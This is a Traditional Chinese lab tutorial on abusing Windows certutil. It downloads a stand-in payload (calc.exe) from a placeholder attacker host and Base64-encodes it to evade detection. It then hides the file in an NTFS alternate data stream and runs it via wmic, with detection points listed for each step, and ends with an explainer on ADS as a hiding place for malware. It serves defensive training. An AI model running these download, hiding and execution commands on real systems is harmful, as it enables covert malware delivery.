Certutil 的障眼法 - 下載、編碼/解碼與藏身術 (ADS)
目標:
演示如何利用 Windows 內建的 certutil.exe
工具,執行檔案下載、Base64 編碼/解碼(這個是為了規避偵測),以及將檔案隱藏到 NTFS 替代資料流 (Alternate Data Stream, ADS) 中,最後嘗試從 ADS 執行。
所需環境:
- 攻擊者機器 (Attacker VM):
- 能運行一個簡單的 HTTP 伺服器就好。
- 準備一個「惡意」負載檔案,為了安全演示,這邊使用的是小算盤。找到
calc.exe
(通常在C:\Windows\System32\
),複製一份並重新命名為payload.exe
。 - 記下攻擊者機器的 IP 位址 (
<attacker_ip>
)。
- 受害者機器 (Victim VM):
- Windows 10 或 Windows 11 虛擬機。
- 確保網路設定允許 Victim VM 訪問 Attacker VM 的 HTTP 服務。
攻擊者機器操作:
-
將準備好的
payload.exe
放在一個資料夾中。 -
在該資料夾下開啟 Terminal。
-
啟動一個簡單的 HTTP 伺服器。
Terminal window python -m http.server 8000保持此伺服器運行。
受害者機器操作:
- 開啟「命令提示字元」(cmd.exe)。建議切換到一個方便操作的目錄(畫面才不會亂亂的w),例如
C:\Users\Public\Downloads
。Terminal window cd C:\Users\Public\Downloads
-
步驟 1:使用 Certutil 下載檔案
-
指令: (將
<attacker_ip>
替換為攻擊者機器 IP)Terminal window certutil.exe -urlcache -split -f http://<attacker_ip>:8000/payload.exe payload.exe- 說明:
-urlcache -split -f
是certutil
用於從 URL 下載檔案的參數組合。
- 說明:
-
預期結果: Terminal 顯示下載成功。在
C:\Users\Public\Downloads
目錄下會出現payload.exe
檔案。執行應該會彈出計算機。 -
偵測點: 監控
certutil.exe
的程序創建事件 (Sysmon EID 1 / Security 4688),注意命令列包含-urlcache
,-split
,-f
及 URL。監控certutil.exe
的網路連線 (Sysmon EID 3),注意其 User-Agent (Microsoft-CryptoAPI/10.0
或CertUtil URL Agent
)。檢查CryptnetUrlCache
目錄是否有下載痕跡。
-
-
步驟 2:使用 Certutil 將檔案編碼為 Base64
-
指令:
Terminal window certutil -encode payload.exe encoded_payload.txt- 說明:
-encode
參數用於將檔案進行 Base64 編碼。
- 說明:
-
預期結果: 在目前目錄下生成一個名為
encoded_payload.txt
的文字檔案,內容是 Base64 編碼的字串。 -
偵測點: 監控
certutil.exe
的程序創建事件,注意命令列包含-encode
。
-
-
步驟 3:(可做可不做) 刪除原始檔案
- 指令:
Terminal window del payload.exe - 預期結果: 原始的
payload.exe
被刪除。
- 指令:
-
步驟 4:使用 Certutil 將 Base64 檔案解碼還原
-
指令:
Terminal window certutil -decode encoded_payload.txt decoded_payload.exe- 說明:
-decode
參數用於解碼 Base64 檔案。
- 說明:
-
預期結果: 在目前目錄下生成
decoded_payload.exe
。執行應彈出計算機。 -
偵測點: 監控
certutil.exe
的程序創建事件,注意命令列包含-decode
。
-
-
步驟 5:使用 Certutil 將檔案下載到 ADS
-
準備: 新增一個看似無害的文字檔。
Terminal window echo This is a normal text file. > benign.txt -
指令: (將
<attacker_ip>
替換為攻擊者機器 IP)Terminal window certutil.exe -urlcache -split -f http://<attacker_ip>:8000/payload.exe benign.txt:hidden.exe- 說明: 將下載目標指定為
檔案名:流名稱
,即可寫入 ADS。
- 說明: 將下載目標指定為
-
預期結果: 命令執行成功。檢查
benign.txt
的檔案大小,應該沒有變化。但payload.exe
已被隱藏在benign.txt
的hidden.exe
這個 ADS 中。 -
偵測點: 監控
certutil.exe
的程序創建事件,注意命令列包含-urlcache
和:流名稱
。監控 Sysmon Event ID 15 (FileStreamCreated) 事件,會記錄 ADS 的創建。
-
-
步驟 6:從 ADS 執行 (使用 WMIC)
-
指令:
Terminal window wmic process call create "C:\Users\Public\Downloads\benign.txt:hidden.exe"- 說明:
wmic process call create
可以用來啟動程序,包括位於 ADS 中的程序。
- 說明:
-
預期結果: 計算機 (
calc.exe
) 彈出。 -
偵測點: 監控
wmic.exe
的程序創建事件,注意命令列包含:流名稱
。觀察程序樹,wmic.exe
啟動了benign.txt:hidden.exe
(實際執行的是calc.exe
)。
-
攻擊者機器觀察:
- 在 HTTP 伺服器的終端機視窗中,應該會看到來自 Victim VM IP 位址的 GET 請求記錄,請求的資源是
/payload.exe
。
tmptool 漏洞與利用 - 完整偵查攻擊流程
win10 arm64 vm: https://massgrave.dev/windows_arm_links
深入了解 Windows 如何整理檔案 (NTFS 基礎)
想像一下你的電腦硬碟是一個巨大的倉庫,需要一個高效的管理系統來存放和尋找各種貨物(檔案)。NTFS (New Technology File System) 就是 Windows 使用的那個先進的管理系統,從 Windows NT/XP 時代一直沿用至今。
跟舊式的管理方法(像是 FAT/FAT32,你可以想成是簡單的標籤登記)比起來,NTFS 有幾個重要的特點:
-
檔案不只是檔案,更像是一個「物件」:
- 在 NTFS 眼裡,一個檔案(例如
mydocument.docx
)不單純只是一塊資料。它把它看作是一個包含了很多「屬性」(Attributes) 的集合體。 - 這些屬性包括了我們熟悉的:檔案名稱、建立/修改時間、唯讀/隱藏設定、檔案擁有者和權限 (誰可以讀寫)。
- 最關鍵的是:連檔案的「實際內容」(文件的文字、圖片的像素資料等)本身,也只是一種叫做
$DATA
的屬性!
- 在 NTFS 眼裡,一個檔案(例如
-
中央總管:主檔案表 (Master File Table - MFT):
- NTFS 把所有檔案和資料夾的「身分證」和「屬性清單」都記錄在一個非常重要的、隱藏的「總登記簿」裡,叫做 MFT。
- 硬碟上的每個檔案/資料夾,在 MFT 裡都至少有一條記錄,詳細記載它的所有屬性。如果屬性不多,甚至直接存在 MFT 裡;如果屬性太多(例如檔案內容很大),MFT 裡會記錄指向硬碟其他位置的指標。
檔案的「主要內容」 vs. 「隱藏夾層」(預設資料流 vs. ADS)
了解了檔案是由「屬性」組成的之後,我們來聚焦在存放「內容」的 $DATA
屬性上:
-
每個檔案都有「主要置物空間」(預設資料流 - Default Data Stream):
- 任何一個正常的檔案,至少會有一個
$DATA
屬性,用來存放我們平常認知中的檔案內容。例如,你在 Word 裡打的字,就是存在這個主要的$DATA
屬性裡。 - 這個主要的
$DATA
流,在 NTFS 內部是沒有名字的(或者說名字是空的)。 - 當你用檔案總管點兩下打開檔案,或者用
type
、more
等基本指令讀取檔案時,你互動的就是這個沒有名字的、預設的$DATA
流。 - 它的完整寫法類似
myfile.txt::$DATA
,但因為是預設的,通常直接簡寫成myfile.txt
。
- 任何一個正常的檔案,至少會有一個
-
檔案可以有「隱藏夾層」(替代資料流 - Alternate Data Streams, ADS):
- 這是 NTFS 的一個核心特性:它允許一個檔案(或甚至是一個資料夾)擁有 不只一個
$DATA
資料流! - 除了那個主要的、沒名字的
$DATA
流之外,你可以額外附加其他的$DATA
流到同一個檔案上,但這些額外的流必須有自己的名字。這就是「替代資料流」(ADS)。 - 比喻: 再次想像那個行李箱。
- 主要的衣物放在行李箱主空間裡(預設資料流)。
- 你可以把一些不想讓別人看到的小東西(X,塞進行李箱內襯的秘密拉鍊夾層裡(替代資料流)。這個夾層屬於同一個行李箱,但跟主要空間是分開的,而且你需要知道有這個夾層(知道它的名字)才能找到裡面的東西。
- 命名方式: 在指令列環境下,通常用
檔案名稱:資料流名稱
的格式來指定 ADS。例如,myfile.txt:hidden_info
就表示myfile.txt
這個檔案上,附加了一個叫做hidden_info
的 ADS。更完整的內部表示是myfile.txt:hidden_info:$DATA
。流的名稱可以使用大部分合法的檔名 字元。
- 這是 NTFS 的一個核心特性:它允許一個檔案(或甚至是一個資料夾)擁有 不只一個
ADS 的「正當」用途與「隱蔽」特性
- 最初目的: ADS 設計的初衷之一是為了相容蘋果電腦早期的檔案系統 (HFS),它也有類似的「分叉」(forks) 概念,允許一個檔案包含多種資料。
- 合法應用: Windows 自己也會用到 ADS。最常見的例子是:當你從網路上下載一個檔案時,瀏覽器通常會在這個檔案後面附加一個叫做
Zone.Identifier
的 ADS。這個 ADS 裡記錄了檔案的來源區域(例如來自網際網路)。當你試圖執行這個檔案時,Windows 會檢查這個 ADS,如果發現是來自不信任區域,就會跳出安全警告。 - 關鍵的隱蔽性:
- 看不見: 對於一般的 Windows 工具(檔案總管、大部分應用程式、基本的
dir
指令)來說,ADS 是完全透明的。你看不到它們的存在。 - 大小不變: 一個檔案就算附加了很大的 ADS(例如藏了一個 10MB 的程式在一個 1KB 的文字檔的 ADS 裡),你在檔案總管看到的檔案大小,仍然只會顯示主要的、預設資料流的大小(1KB)。這使得藏在 ADS 裡的東西非常難以被察覺。
- 看不見: 對於一般的 Windows 工具(檔案總管、大部分應用程式、基本的
Why ADS?
正是因為 ADS 的這種「原生隱蔽性」和「大小欺騙性」,讓它成為攻擊者完美的藏匿地點:
- 藏匿惡意軟體: 把病毒執行檔 (.exe)、惡意動態連結庫 (.dll)、腳本 (.ps1, .vbs) 等,附加到一個看似無害的正常檔案(如系統日誌 .log、設定檔 .ini、普通文字檔 .txt)的 ADS 中。
- 藏匿駭客工具: 攻擊過程中需要用到的其他工具,也可以藏在 ADS 裡,避免直接放在硬碟上被掃描發現。
- 藏匿竊取資料: 偷到的敏感資料,可以先暫時寫入某個檔案的 ADS,再找機會傳出去。
- 躲避偵測: 很多傳統的防毒軟體、檔案掃描工具,預設可能不會去檢查檔案的 ADS 部分。即使掃描了主檔案是乾淨的,也可能忽略藏在 ADS 裡的威脅。
總之,NTFS 的 ADS 提供了一個由檔案系統本身支援的、對常規用戶和工具「隱形」的儲存空間。攻擊者利用這個特性,就能在不引起注意的情況下,將惡意物件隱藏在系統的眼皮底下,大大增加了防禦的難度。